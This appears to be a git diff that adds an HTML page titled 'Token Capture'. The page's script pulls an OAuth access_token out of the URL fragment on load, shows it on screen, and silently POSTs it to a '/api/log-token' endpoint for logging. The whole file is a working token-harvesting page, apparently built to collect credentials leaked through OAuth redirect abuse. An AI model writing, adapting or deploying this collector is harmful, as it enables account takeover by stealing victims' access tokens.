|
| 1 | + |
| 2 | +<!DOCTYPE html> |
| 3 | +<html lang="en"> |
| 4 | +<head> |
| 5 | + <meta charset="UTF-8" /> |
| 6 | + <meta name="viewport" content="width=device-width, initial-scale=1.0"/> |
| 7 | + <title>Token Capture</title> |
| 8 | + <style> |
| 9 | + body { |
| 10 | + background-color: #000; |
| 11 | + color: #0f0; |
| 12 | + font-family: monospace; |
| 13 | + display: flex; |
| 14 | + flex-direction: column; |
| 15 | + justify-content: center; |
| 16 | + align-items: center; |
| 17 | + height: 100vh; |
| 18 | + padding: 20px; |
| 19 | + box-sizing: border-box; |
| 20 | + } |
| 21 | + |
| 22 | + .token-box { |
| 23 | + border: 2px solid #0f0; |
| 24 | + padding: 15px; |
| 25 | + margin-top: 20px; |
| 26 | + background-color: #111; |
| 27 | + word-break: break-all; |
| 28 | + max-width: 600px; |
| 29 | + width: 100%; |
| 30 | + border-radius: 10px; |
| 31 | + box-shadow: 0 0 10px #0f0; |
| 32 | + } |
| 33 | + </style> |
| 34 | +</head> |
| 35 | +<body> |
| 36 | + <div id="message">Waiting for token...</div> |
| 37 | + <div id="token-box" class="token-box" style="display: none;"></div> |
| 38 | + |
| 39 | + <script> |
| 40 | + window.onload = function () { |
| 41 | + const hash = window.location.hash; |
| 42 | + if (hash.includes("access_token=")) { |
| 43 | + const params = new URLSearchParams(hash.substring(1)); |
| 44 | + const token = params.get("access_token"); |
| 45 | + |
| 46 | + document.getElementById("message").textContent = "OAuth token captured"; |
| 47 | + const tokenBox = document.getElementById("token-box"); |
| 48 | + tokenBox.style.display = "block"; |
| 49 | + tokenBox.textContent = token; |
| 50 | + |
| 51 | + |
| 52 | + fetch('/api/log-token', { |
| 53 | + method: 'POST', |
| 54 | + headers: { 'Content-Type': 'application/json' }, |
| 55 | + body: JSON.stringify({ token }) |
| 56 | + }).catch(console.error); |
| 57 | + } else { |
| 58 | + document.getElementById("message").textContent = "No token found in URL"; |
| 59 | + } |
| 60 | + }; |
| 61 | + </script> |
| 62 | +</body> |
| 63 | +</html> |
0 commit comments